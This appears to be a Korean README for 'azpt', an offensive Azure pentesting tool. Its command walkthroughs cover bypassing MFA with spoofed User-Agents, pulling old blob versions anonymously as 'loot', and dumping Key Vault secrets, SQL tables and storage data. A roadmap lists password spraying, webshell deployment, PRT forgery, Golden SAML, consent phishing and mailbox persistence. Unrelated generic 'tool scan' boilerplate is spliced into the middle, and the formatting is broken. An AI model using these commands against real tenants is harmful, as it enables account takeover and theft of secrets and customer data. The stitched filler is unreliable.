        interfaces.append(interface)
    return interfaces

[·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced) [·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced) [+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge ... OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked

[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"

root@kitploit:~
여기서의 허점은 *모든* 플랫폼이 선택된 디바이스-플랫폼 조건으로,
이는 안전해 보이지만, 평가는 User-Agent가 그중 **하나와 일치**할 때만
MFA를 강제한다. 어느 것과도 일치하지 않는 User-Agent(PlayStation 5, 또는
임의로 만든 문자열)는 접근이 허용된다. 이제 사용 가능한 토큰을 확보하고 다음으로 넘어가자:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
    -r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
#   Connect-AzAccount -AccessToken $t -AccountId "j.doe"

-r / -c는 전체 URL / 앱 ID 또는 짧은 이름(storage, graph, keyvault; cli, office, teams)을 받습니다. ARM 토큰으로는 접근할 수 없는 blob 데이터에 도달하려면 같은 방식으로 Storage 토큰을 얻으세요:```bash ./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm

root@kitploit:~
`--confirm`은 필수입니다. ROPC는 실제 자격 증명을 토큰 엔드포인트로 전송하므로 반복 시도는 계정을 잠그고 로그인 경고를 발생시킬 수 있습니다. 요청 수를 낮게 유지하기 위해 스윕은 **단계적으로** 진행되며(베이스라인, 그다음 User-Agents, 그다음 `--full`로 모든 클라이언트와 리소스로 확장), `--delay <ms>`로 속도를 제한합니다.

> ⚠️ ROPC 기반 MFA 테스트는 침습적이며 로그에 기록됩니다(Entra 로그인 로그에 ROPC 인증으로 나타남). 승인된 계약에서만 사용하십시오.

## 워크스루: 익명 blob 공격

이것이 대표적인 워크플로입니다: Azure Blob 스토리지에서 호스팅되는 정적 웹사이트를 **자격 증명 없이** 침해하는 것입니다. 익명 *목록 조회*는 컨테이너의 공용 액세스 수준이 `Container`로 설정된 경우 작동하며, *버전 열거*는 추가로 계정에서 blob 버전 관리가 활성화되어 있어야 합니다.

각 단계에 대한 더 자세한 설명과 작동 원리는
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md)를 참조하십시오.```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
#    -> HTTP 200  accessible=true

# 2. List the $web container (the default). Note the "versioning:" line —
#    if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite

# 3. Enumerate versions. This surfaces files removed from the live site,
#    e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite

# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
    --version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip

# 5. Inspect the loot.
unzip loot.zip

원샷: blob hunt

hunt는 1–4단계를 자동화합니다. 일반적인 컨테이너 이름 목록을 탐색하고, 익명으로 목록 조회가 가능한 각 컨테이너에 대해 버전을 열거하며, 비밀 정보가 포함된 모든 파일을 발견 사항으로 보고합니다.```bash ./azpt blob hunt --account acmewebsite

root@kitploit:~
| `--no-color` | 출력에서 색상 비활성화 |
| `--verbose` | 상세 출력 활성화 |
| `--quiet` | 모든 출력 억제 |
| `--config` | 구성 파일 경로 지정 |
| `--timeout` | 작업에 대한 타임아웃 설정 |
| `--retry` | 실패한 작업에 대한 재시도 횟수 설정 |
| `--parallel` | 병렬 실행 활성화 |
| `--dry-run` | 실제로 실행하지 않고 수행될 작업 표시 |
| `--force` | 확인 프롬프트 건너뛰기 |
| `--output` | 출력 형식 지정 (json, yaml, table) |
| `--input` | 입력 파일 경로 지정 |
| `--log-level` | 로깅 수준 설정 (debug, info, warn, error) |
| `--version` | 버전 정보 표시 |
| `--help` | 도움말 메시지 표시 |

## 사용 예시

```bash
# 기본 사용법
tool scan --target example.com

# 상세 출력과 함께
tool scan --target example.com --verbose

# JSON 출력으로 저장
tool scan --target example.com --output json > results.json

# 여러 대상 병렬 스캔
tool scan --targets targets.txt --parallel

# 사용자 지정 구성으로 실행
tool scan --config /path/to/config.yaml

# 실제로 실행하지 않고 미리보기
tool scan --target example.com --dry-run

구성

도구는 YAML 구성 파일을 통해 구성할 수 있습니다:

root@kitploit:~
# config.yaml
target: example.com
timeout: 30
retry: 3
parallel: true
output: json
log_level: info

scan:
  ports: [80, 443, 8080]
  threads: 10
  timeout: 5

notifications:
  enabled: true
  webhook: https://hooks.example.com/webhook

출력 형식

JSON 출력

root@kitploit:~
{
  "target": "example.com",
  "timestamp": "2024-01-15T10:30:00Z",
  "results": [
    {
      "port": 80,
      "status": "open",
      "service": "http"
    },
    {
      "port": 443,
      "status": "open",
      "service": "https"
    }
  ]
}

테이블 출력

root@kitploit:~
+-------+--------+---------+
| PORT  | STATUS | SERVICE |
+-------+--------+---------+
| 80    | open   | http    |
| 443   | open   | https   |
+-------+--------+---------+

고급 사용법

사용자 지정 스크립트

root@kitploit:~
#!/bin/bash
# scan.sh

TARGETS=("example.com" "test.com" "demo.com")

for target in "${TARGETS[@]}"; do
    echo "Scanning $target..."
    tool scan --target "$target" --output json >> results.json
done

CI/CD 통합

root@kitploit:~
# .github/workflows/scan.yml
name: Security Scan

on:
  schedule:
    - cron: '0 0 * * *'
  workflow_dispatch:

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Run security scan
        run: |
          tool scan --target example.com --output json > results.json
          
      - name: Upload results
        uses: actions/upload-artifact@v3
        with:
          name: scan-results
          path: results.json

문제 해결

일반적인 문제

연결 시간 초과

root@kitploit:~
# 타임아웃 증가
tool scan --target example.com --timeout 60

권한 거부됨

root@kitploit:~
# sudo로 실행
sudo tool scan --target example.com

구성 파일을 찾을 수 없음

root@kitploit:~
# 구성 경로 명시적으로 지정
tool scan --config /etc/tool/config.yaml

디버그 모드

root@kitploit:~
# 디버그 로깅 활성화
tool scan --target example.com --log-level debug

로그 확인

root@kitploit:~
# 로그 파일 확인
tail -f /var/log/tool/tool.log

# 오류 필터링
grep ERROR /var/log/tool/tool.log

모범 사례

  1. 항상 권한을 받으세요 - 스캔하기 전에 대상 시스템의 소유자로부터 적절한 권한을 받았는지 확인하세요
  2. 속도 제한을 사용하세요 - 대상 서비스에 과부하를 주지 않도록 요청 속도를 제한하세요
  3. 결과를 정기적으로 저장하세요 - 스캔 결과를 정기적으로 저장하고 백업하세요
  4. 도구를 최신 상태로 유지하세요 - 최신 기능과 보안 수정 사항을 위해 정기적으로 업데이트하세요
  5. 구성을 검토하세요 - 프로덕션 환경에서 실행하기 전에 구성을 검토하고 테스트하세요
  6. 로그를 모니터링하세요 - 비정상적인 활동이나 오류가 있는지 로그를 주시하세요
  7. 책임감 있게 사용하세요 - 이 도구를 윤리적이고 합법적인 방식으로만 사용하세요

기여

기여를 환영합니다! 풀 리퀘스트를 제출하기 전에 기여 가이드라인을 읽어주세요.

  1. 저장소를 포크하세요
  2. 기능 브랜치를 생성하세요 (git checkout -b feature/amazing-feature)
  3. 변경 사항을 커밋하세요 (git commit -m 'Add amazing feature')
  4. 브랜치에 푸시하세요 (git push origin feature/amazing-feature)
  5. 풀 리퀘스트를 여세요

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

감사의 글

  • 이 프로젝트에 기여한 모든 분들께 감사드립니다
  • 영감을 준 오픈 소스 커뮤니티에 감사드립니다
  • 보안 연구 커뮤니티에 감사드립니다

연락처

  • 이슈: GitHub Issues
  • 토론: GitHub Discussions
  • 이메일: [email protected]

면책 조항

이 도구는 교육 및 테스트 목적으로만 제공됩니다. 사용자는 이 도구의 사용이 해당 관할권의 모든 적용 가능한 법률 및 규정을 준수하는지 확인할 책임이 있습니다. 저자는 이 도구의 사용으로 인해 발생할 수 있는 어떠한 손해나 피해에 대해서도 책임을 지지 않습니다.``` account acmewebsite — anonymously listable containers: [$web]

SEVERITY CATEGORY TITLE RESOURCE HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip MEDIUM blob-anon Container allows anonymous listing $web MEDIUM blob-anon Historical blob versions anonymously retrievable $web LOW blob-anon Blob versioning is enabled $web

root@kitploit:~
**사용자 정의 컨테이너 목록** — 내장 워드리스트를 재정의합니다:```bash
./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'

사용자 정의 탐지 패턴 — --pattern은 대소문자를 구분하지 않는 정규식을 받습니다 (반복 가능). 이들은 내장 패턴보다 먼저 검사되어 HIGH로 표시되므로, 기본 분류보다 우선할 수 있습니다:```bash ./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'

root@kitploit:~
특정 대상에 대해 하드코딩된 것은 없습니다 — 내장 탐지는 유출 가능성이 있는 파일들의 *클래스*에 대한 정규식 집합입니다([Findings](#findings) 참조).

---

## 인증된 탈취

자격 증명을 확보한 후에는 두 가지 워크플로가 가장 중요합니다: 해당 아이덴티티가 무엇을 할 수 있는지 파악하는 것, 그리고 시크릿에 도달하는 것입니다.

### 이 아이덴티티는 무엇을 할 수 있는가? — `enum access`

이미 로그인한 토큰을 사용하여 하나의 명령으로 답을 통합합니다:```bash
./azpt enum access

다음과 같은 섹션으로 보고합니다:

  • Identity — 사용자/앱 + 객체 ID + 테넌트 (토큰에서 디코딩됨)
  • Graph delegated scopes / app roles — 어떤 디렉터리 호출이 성공할지
  • Directory roles — 예: Global Administrator가 여기서 눈에 띕니다
  • Group memberships — /me/memberOf에서 가져옴
  • Azure RBAC role assignments — 구독별 역할 이름 + 범위

권한이 없는 섹션은 전체 명령을 실패시키는 대신 NOTES 아래에 나열됩니다. RBAC 역할 할당은 assignedTo() 필터를 사용하므로 직접 할당된 역할뿐만 아니라 그룹을 통해 상속된 역할도 포함됩니다.

공격 경로 그래프 — scan

최종 단계: scan은 로그인한 주체의 전체 유효 접근 권한 — 그룹, 디렉터리 역할, RBAC 할당, 범위, 리소스 — 을 열거하고 BloodHound 스타일 공격 그래프를 구축합니다. 고가치 대상(Key Vault, 스토리지, SQL, 웹 앱, VM)을 표시하고, 각 역할을 사용자 또는 이를 부여하는 특정 그룹에 귀속시키며, 각 경로를 악용하기 위한 정확한 azpt 명령과 함께 점수가 매겨진 공격 경로를 도출합니다.```bash ./azpt scan # text summary: paths ranked by value ./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser) ./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ... ./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)

root@kitploit:~
`--html` 출력은 **자체 포함형**의 다크 테마 인터랙티브 공격 맵으로
(외부 의존성 없이 완전히 오프라인에서 동작하며) 모든 노드를 실제 **Azure 서비스 아이콘**과
함께 렌더링합니다. 다음을 포함합니다:

- 줌/팬, 미니맵, 스코프 "존", 라이트/다크 토글, PNG/JSON 내보내기를 지원하는
  **포스 디렉티드 그래프**;
- 탭이 있는 사이드 패널 — **공격 경로**(심각도별로 그룹화되며, 경로마다 복사 가능한
  익스플로잇 명령 포함), 주체의 전체 유효 접근 권한을 덤프하는 **개요**(리소스/고가치
  개수와 상태를 포함한 구독, 디렉터리 역할, 그룹 멤버십, 모든 RBAC 할당), 테넌트의
  사용자 / 그룹 / 서비스 주체에 대한 **디렉터리** 덤프(주체가 Graph를 읽을 수 있을 때 —
  예: *Directory Readers* 역할 — 실시간 필터 포함), 여기서 임의의 객체를 클릭하면
  해당 속성의 **드릴다운**이 열리고 그래프에 **고정**하거나 **그룹/역할을 구성원으로
  확장**할 수 있으며, 서비스 유형별로 그룹화된 **리소스** 인벤토리, 사전 구성된
  **쿼리**(Key Vaults / Storage / SQL 도달, Owner·Contributor·데이터 플레인·사용자 지정
  역할 열거 등), 그리고 **범례**;

멤버십 관계(누가 어느 그룹/역할에 속하는지)는 `scan --deep`을 사용할 때만 수집되며,
이 옵션은 그룹 및 디렉터리 역할 구성원을 추가로 열거하여 웹 앱이 아이덴티티 → 그룹 →
접근 권한 체인을 그릴 수 있게 합니다:```bash
./azpt scan --deep --html graph.html   # slower; enables expanding identities on the graph
  • 경로를 클릭하거나 쿼리를 실행하여 해당 경로를 강조 표시하고 나머지는 흐리게 처리하며, 모든 노드를 클릭하면 인바운드/아웃바운드 관계에 대한 상세 카드를 볼 수 있습니다.

예시 텍스트 출력:``` OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths

[1] score 70 — Customer Database Access on "mbt-finance" → query databases → member of group "CUSTOMER-DATABASE-ACCESS" → holds "Customer Database Access" on RG content-static-2 → which contains Azure SQL server "mbt-finance" (query databases) exploit: azpt sql databases --server

root@kitploit:~
### Key Vault — `vault`

Key Vault는 **비밀, 키, 인증서**를 보관합니다. `enum resources`(ARM)를 통해
vault를 확인했다고 해서 데이터 플레인 접근 권한이 있다는 의미는 **아닙니다** — 내용을
읽으려면 Key Vault 액세스 정책(Get/List) 또는 *Key Vault Secrets
User* RBAC 역할이 필요합니다. 이것이 없으면 `403 Forbidden`이 반환되는데, 이는 유용한 신호입니다.```bash
# Full inventory: secrets, keys, and certificate names (no values)
./azpt vault list --vault ext-contractors

# Read one secret value
./azpt vault get --vault ext-contractors --secret db-connection-string

# Dump every secret value (the loot); redirect to a file with --json
./azpt vault dump --vault ext-contractors
./azpt --json vault dump --vault ext-contractors > vault-loot.json

vault list는 각 콘텐츠 유형을 독립적으로 보고하므로, 시크릿은 나열할 수 있지만 키는 나열할 수 없는 vault에서도 자신이 볼 수 있는 것을 보여주며, 자신이 보유한 데이터 플레인 권한이 정확히 무엇인지 드러냅니다. 인증서의 개인 키는 종종 vault get --secret <cert-name>을 통해 검색할 수 있는데, Key Vault가 동일한 이름의 시크릿을 통해 이를 노출하기 때문입니다.

소버린 클라우드나 특이한 엔드포인트의 경우 --vault 대신 --vault-url을 전달하세요.

Azure SQL — sql

Azure SQL 데이터베이스를 열거하고 쿼리합니다. 두 가지 인증 모드:

  • Entra ID 토큰 (기본값) — 현재 자격 증명을 사용합니다. 서버에 Entra ID 관리자가 있고 사용자의 주체가 매핑된 데이터베이스 사용자인 경우 작동합니다.
  • SQL 로그인 (--user/--password) — 서버에 Entra ID 관리자가 없을 때 필요합니다(토큰 경로에서 Login failed ... not currently configured to accept this token이 표시됩니다). 다른 곳에서 복구한 자격 증명 — 예: Key Vault 시크릿 — 을 여기에서 시도해 보세요.```bash

Entra ID auth

./azpt sql databases --server mbt-finance ./azpt sql tables --server mbt-finance --database Finance ./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables" ./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50

SQL login (recovered creds)

./azpt sql databases --server mbt-finance -U alissa-suarez -P ''

root@kitploit:~
서버 방화벽은 어느 쪽이든 소스 IP를 허용해야 합니다. `dump`의 테이블 이름은 사용 전에 일반 식별자로 검증되므로(T-SQL에서는 매개변수화할 수 없음), `--table`을 통한 인젝션은 불가능합니다. `sql query`는 **기본적으로 읽기 전용**입니다 — DROP/DELETE/UPDATE/EXEC/xp_cmdshell 및 기타 변경 문은 `--allow-write`가 전달되지 않는 한 거부되므로, 승인된 평가가 실수로 데이터를 파괴할 수 없습니다.

### 인증된 스토리지 — `storage`

익명 `blob` 명령에 대한 **인증된** 대응 명령: Entra ID 자격 증명(`az storage ... --auth-mode login`과 동등)을 사용하여 blob 컨테이너/blob **및 Storage Tables**에 접근합니다. *Storage Blob Data Reader* 또는 *Storage Table Data Reader*와 같은 데이터 플레인 역할이 필요합니다 — `enum resources`(컨트롤 플레인)를 통해 계정을 보는 것만으로는 부여되지 않으며, `403`은 데이터 역할이 없음을 의미합니다.```bash
# Blobs
./azpt storage containers --account custdatabase
./azpt storage blobs      --account custdatabase --container backups
./azpt storage download   --account custdatabase --container backups --blob db.bacpac -o db.bacpac

# Storage Tables (often overlooked — can hold raw records)
./azpt storage tables   --account custdatabase
./azpt storage entities --account custdatabase --table customers
./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100

blob vs storage: blob은 외부의, 인증되지 않은 공격자 관점(익명 목록 조회, 버전 열거)이고, storage는 자격 증명을 보유한 후의 인증된 관점입니다. 서로 다른 위협 모델이며, 둘 다 포함됩니다.

Findings

Findings는 안정적인 ID, 심각도, 증거, 그리고 해결 방안을 포함합니다. 설명과 수정 사항이 포함된 전체 카탈로그는 docs/findings.md에 있습니다. 요약:

STOR-*(인증된 감사)와 BLOB-*(익명)는 동전의 양면입니다. STOR-001은 "공용 액세스가 구성되어 있음"을 의미하고, BLOB-001은 실제로 외부에서 컨테이너를 나열하여 이를 입증합니다.


Output formats

기본적으로 사람이 읽을 수 있는 표를 출력하며, jq에 적합하거나 보고서 파이프라인에 수집하기 좋은 구조화된 출력을 위해 전역 --json 플래그를 추가할 수 있습니다:```bash ./azpt --json audit storage | jq '.[] | select(.severity=="HIGH")' ./azpt --json blob hunt --account acmewebsite > acme-blob-findings.json

root@kitploit:~
Findings are sorted most-severe-first in table output.

---

## Architecture```
main.go
internal/
  recon/    unauthenticated outsider recon: realm, tenant, DNS posture,
            subdomain enum (wildcard-aware), user enum, password spray
  scan/     attack-path graph builder + self-contained Azure-themed HTML viz
  azauth/   credential chain, raw token acquisition (ARM + Graph), JWT claims
  azure/    SDK wrappers: subscriptions, resources, storage audit + data plane
            (blobs/tables), key vault, RBAC
  azsql/    Azure SQL client (Entra ID token or SQL login) — query/dump
  graph/    Microsoft Graph REST client (users, groups, SPs, apps, memberOf)
  blob/     anonymous Blob REST client (list/versions/download) + secret classifier
  audit/    pure detection rules over resource views -> findings
  model/    shared types: Resource, Finding, Severity, Report
  output/   JSON + human-readable table rendering
  cli/      cobra command tree, shared bootstrap()

설계 원칙:

  • 탐지는 I/O와 분리되어 있다. 감사 규칙과 blob 시크릿 분류기는 평탄화된 뷰에 대한 순수 함수이므로, 네트워크 접근 없이 단위 테스트가 가능하다.
  • 모든 것이 model.Finding이 된다. 인증 및 익명 모듈이 동일한 타입으로 출력되므로, --json과 향후 리포트가 이를 일관되게 처리한다.
  • 가능한 곳에서는 기본적으로 익명. blob 클라이언트는 원시 Blob REST API를 사용하며 자격 증명을 구성하지 않는다.

개발```bash

go build ./... # compile everything go test ./... # run unit tests (no Azure connection required) go vet ./... # static checks gofmt -l . # list files needing formatting (should be empty)

root@kitploit:~
blob 클라이언트의 테스트는 실제 요청 생성 및 XML 파싱 경로를 로컬 `httptest` 서버에 대해 검증하며, 버전 열거, 페이지네이션, 그리고 `403 PublicAccessNotPermitted` 케이스를 포함합니다 — 실제 스토리지 계정이 필요하지 않습니다.

---

## 로드맵

- [x] 외부자 정찰 (도메인만): realm, 테넌트 ID, DNS 상태, 서브도메인
- [x] 사용자 열거 + 비밀번호 스프레이 (Entra ID)
- [x] MFA 적용 격차 감사 (리소스/클라이언트/User-Agent 전반에 걸친 ROPC)
- [x] 토큰 기반 인증: `--access-token` / `AZPT_TOKEN` + FOCI 갱신 교환
- [x] IMDS를 통한 관리 ID 토큰 획득 (VM + App Service 엔드포인트)
- [x] App Service 탈취: 앱 설정, 연결 문자열, Kudu 자격 증명
- [x] 격차 플래그가 있는 조건부 액세스 정책 열거 (`enum ca`)
- [x] 열거 (ARM): 구독, 리소스
- [x] 열거 (Graph): 사용자, 그룹, 서비스 주체, 앱, 조직, whoami
- [x] 액세스 검토: `enum access` — 토큰 범위, 디렉터리 역할, 그룹, RBAC
- [x] 비밀: Key Vault — 비밀/키/인증서 나열, 비밀 값 읽기 + 덤프
- [x] 데이터 액세스: Azure SQL — Entra ID 또는 SQL 인증, 나열/쿼리/덤프
- [x] 데이터 액세스: 인증된 스토리지 — blob + Storage Tables
- [x] 감사: 스토리지 계정
- [x] 익명 blob 공격: 확인, 나열, 버전 열거, 헌트, 다운로드
- [ ] Graph: 그룹 상속 RBAC 확장 (권한 상승 기반 작업)
- [x] 익명 스토리지 계정 / 컨테이너 무차별 대입 (`blob brute`)
- [x] 댕글링 DNS 서브도메인 탈취 검사 (`recon takeover`)
- [x] 감사: NSG 인터넷 노출 + 공용 IP (`audit network`)
- [x] 감사: Key Vault 공용 액세스 / purge / 정책 + RBAC 위생 (`audit keyvault`/`rbac`)
- [x] 비밀: 스토리지 키/SAS, 자동화 runbook/변수, 배포 기록, VM RunCommand
- [x] `scan`: BloodHound 스타일 공격 경로 그래프 (텍스트 + JSON + HTML)로
      Entra ID (그룹/역할)와 ARM RBAC + 리소스 연결
- [x] 정확성: ARM/Graph nextLink 페이지네이션, 429/Retry-After 백오프, 소버린 클라우드 (`--cloud`)
- [x] Entra 탈취: Windows LAPS 및 BitLocker 키 검색, OAuth 부여 (불법 동의) 열거
- [x] `token decode` 유틸리티 (클레임 + wids→디렉터리 역할 매핑)
- [x] ARM elevate-access (전역 관리자 → 테넌트 루트 사용자 액세스 관리자)
- [x] Entra 지속성 쓰기: 구성원/소유자 추가, 동의 부여, 게스트 초대, TAP 생성
- [x] `scan` 권한 상승 그래프에 연결된 자가 가입 가능 동적 그룹 경로
- [x] AADInternals 수준의 외부자 정찰 (`recon tenantinfo`: 페더레이션 / Seamless SSO / 온프레미스 동기화)
- [x] 오래된/위험한 ID 헌트 (`enum risky`); Intune 장치 열거 + 스크립트 푸시 RCE (`intune`)
- [x] 지속성: 앱+SP+비밀 생성, 비밀번호 재설정 (계정 탈취)
- [x] BloodHound CE OpenGraph 내보내기 (`scan --bloodhound`)
- [x] `scan`의 Entra + ARM 권한 상승 그래프 (소유 SP/앱/그룹 → 전역 관리자)
- [x] 데이터 플레인 콘텐츠: 스토리지 큐 피크, 파일 공유 파일
- [x] Entra 권한 상승: 위험한 Graph 앱 역할 열거 + 앱/SP 자격 증명 악용
- [x] 권한 있는 디렉터리 역할 + PIM 적격 열거
- [x] 리소스 탈취: Function 키, 디스크/스냅샷 내보내기, APIM, Logic Apps, Data Factory
- [x] 데이터 플레인 범위: 스토리지 파일 공유/큐; M365 메일/OneDrive/SharePoint
- [x] 서비스 범위: AKS (cluster-admin kubeconfig), Cosmos/ACR/Redis/ServiceBus/EventHub/Cognitive/Batch/AppConfig 키 탈취
- [x] 웹 앱에서 대화형 전이적 그룹 체인 확장 (재귀적 `--deep`)
- [x] 장치 코드 피싱 흐름 (`mfa devicecode`)
- [x] scan 웹 앱에서 발견 사항/MFA 표시 (`scan --audit` → Findings 탭)
- [x] 역할 정의 actions/dataActions를 통한 사용자 지정 역할 위험 작업 탐지
- [x] 관리 단위 열거 및 AU 범위 역할 악용 (동적 그룹과 연쇄 → 점수 80)
- [x] 동적 그룹 악용을 위한 사용자 프로필 업데이트 (`entra update-profile`)
- [x] SAS 토큰 blob 컨테이너 나열 (`blob containers --sas`)
- [x] 정찰을 위한 사용자 이름 패턴 생성 (`recon users --first --last --domain`)
- [x] Cosmos DB 데이터 플레인 액세스 (나열/덤프/테이블)
- [x] Container App 탈취, exec, 관리 ID 토큰 탈취
- [x] IoT Hub 키, 장치 레지스트리, 직접 메서드 RCE
- [x] Recovery Services 백업 복원 (오프라인 디스크 유출)
- [x] PostgreSQL/MySQL 서버 열거 및 쿼리
- [x] 관리 ID 매핑 (`enum identities`), Lighthouse 위임, 공용 IP
- [x] `scan --loot` 심층 스캔: Function App 키, AKS kubeconfig, LAPS 비밀번호, BitLocker 키, APIM 비밀, DB 방화벽 규칙, 디스크 스냅샷, 사용자 지정 RBAC 와일드카드 역할, 오래된 SP 자격 증명, Logic App 정의
- [x] 인증서 기반 서비스 주체 인증 (`--certificate` PFX/PEM)
- [x] 웹셸 배포를 위한 Kudu VFS 파일 업로드 (`webapp deploy`)
- [x] VM 확장 나열 (Custom Script Extension 자격 증명 유출)
- [x] 보안 식별자가 있는 온프레미스 동기화 사용자 열거 (`enum synced`)
- [x] Logic App 워크플로 매개변수 (정의와 별개인 독립 실행형 비밀)
- [x] Power Platform / Dataverse 열거 (환경, 캔버스 앱, 테이블 나열, OData 쿼리)
- [x] MSAL 토큰 캐시 추출 (`token extract` — `.azure/msal_token_cache.json`에서 갱신 + 액세스 토큰)
- [x] M365 범위: Teams 메시지 덤프, 메일/파일 검색, 자동화된 비밀 스캔 (`m365 scan`)
- [x] Azure DevOps 열거 및 악용: 서비스 연결, 변수 그룹, 파이프라인 YAML 미리보기, 실제 파이프라인 실행 + 빌드 로그 (`devops`)
- [x] 일시적 ACI 컨테이너를 통한 ARM `deploymentScripts` RCE, 관리 ID 연결 포함 (`arm deploy-script`)
- [x] ARM 권한 상승/지속성 기본 요소: 자기/백도어 RBAC 역할 할당, 사용자 할당 ID 연결 (`persistence`)
- [x] AKS 공격 그래프 연결: kubelet ID 노드 + 해당 RBAC (ACR pull 등)을 점수화된 공격 경로로 표시, 인증 상태 탐지 (private/AAD/Azure RBAC/local-accounts-disabled)
- [x] 탈취한 kubeconfig에서 직접 Kubernetes API 액세스 (`k8s` — 비밀, 서비스 계정, 파드, RBAC 권한 상승 열거, 비대화형 파드 exec, 서비스 계정 토큰 발급)
- [x] Azure Workload Identity 피벗: 비밀 없이 탈취한 페더레이션 서비스 계정 토큰을 실제 Azure AD 액세스 토큰으로 교환 (`k8s pivot-azure`)
- [x] Azure Resource Graph (KQL) 쿼리: 임의 KQL (`enum kql`) + 단일 쿼리 자산 나열 (`enum resources --fast`)
- [x] 로컬 자격 증명 수집 (`harvest`): az CLI (`accessTokens.json`, `azureProfile.json`, `service_principal_entries.json`, MSAL 캐시) 및 Az PowerShell (`AzureRmContext.json`, Windows의 DPAPI `TokenCache.dat`)
- [x] PRT 악용 (`prt`): PRT + 세션 키로부터 KDF v2 `x-ms-RefreshTokenCredential` SSO 쿠키 위조, 전체 nonce→cookie→authorize→token 체인; 호스트 내 BrowserCore.exe 추출 (Windows)
- [x] 장치 등록 (`device register`): DRS 악성 장치 조인 → 장치 인증서/키 (PRT 전제 조건, 장치 기반 CA 우회, 지속성)
- [x] 페더레이션 공격 (`federation`): 관리형→페더레이션 백도어 (`ConvertTo-AADIntBackdoor`) + Golden SAML 위조 및 SAML 전달자 교환 (독립 구현에 대해 검증된 XML-DSig)
- [x] OAuth 동의 피싱 앱 주입 (`entra phish-app`): 멀티 테넌트 앱 + 동의 URL + 로컬 응답 URL 토큰 캐처 (`Invoke-InjectOAuthApp`)
- [x] 사서함 지속성 (`m365 rules`): Graph `messageRules`를 통한 은밀한 받은 편지함 전달 규칙
- [x] 오프라인 디렉터리 모델 (`scan dump`/`scan query`): 전체 디렉터리 + 공격 그래프를 순수 Go SQLite (`modernc.org/sqlite`)로, 13개의 사전 정의된 분석 뷰
- [x] Windows 호스트 내 헬퍼: BrowserCore를 통한 PRT 쿠키 추출 (`prt extract`), AD Connect 동기화 자격 증명 덤프 (`adconnect sync-creds`), DPAPI (`CryptUnprotectData`) — 빌드 태그 지정, Windows 외에서는 no-op 안내
- [ ] `prt request`: 등록된 장치에서 실제 PRT 획득 (장치 등록 → KDF v2 쿠키 체인)
- [ ] Seamless SSO Kerberos 실버 티켓; WHfB 키 등록
- [ ] AD Connect 동기화 자격 증명 *복호화* (현재는 암호화된 blob을 덤프 → AADInternals로 전달)

---

## 라이선스

[MIT 라이선스](https://github.com/hac01/azure-pentesting-suite/blob/main/LICENSE)에 따라 배포됩니다.

`azpt`는 승인된 테스트 전용으로 의도된 공격적 보안 도구입니다.
소유하거나 평가에 대한 명시적 서면 허가를 받은 테넌트 및 구독에만 사용하십시오. 사용 방식에 대한 책임은 사용자에게 있습니다.
도구 다운로드
IDSeverityMeaning
STOR-001HIGHStorage 계정이 blob 공용(익명) 액세스를 허용함
STOR-002MEDIUMHTTPS 전용 전송이 강제되지 않음
STOR-003MEDIUM최소 TLS 버전이 1.2 미만임
STOR-004LOWShared Key(계정 키) 액세스가 활성화됨
STOR-005MEDIUM모든 네트워크에서 Storage에 도달 가능함(방화벽 기본 허용)
BLOB-001MEDIUM컨테이너가 익명 목록 조회를 허용함
BLOB-002LOWBlob 버전 관리가 활성화됨(기록이 복구될 수 있음)
BLOB-003MEDIUM과거 blob 버전을 익명으로 검색할 수 있음
BLOB-010varies민감한 파일이 익명으로 노출됨(심각도는 분류기에서 결정)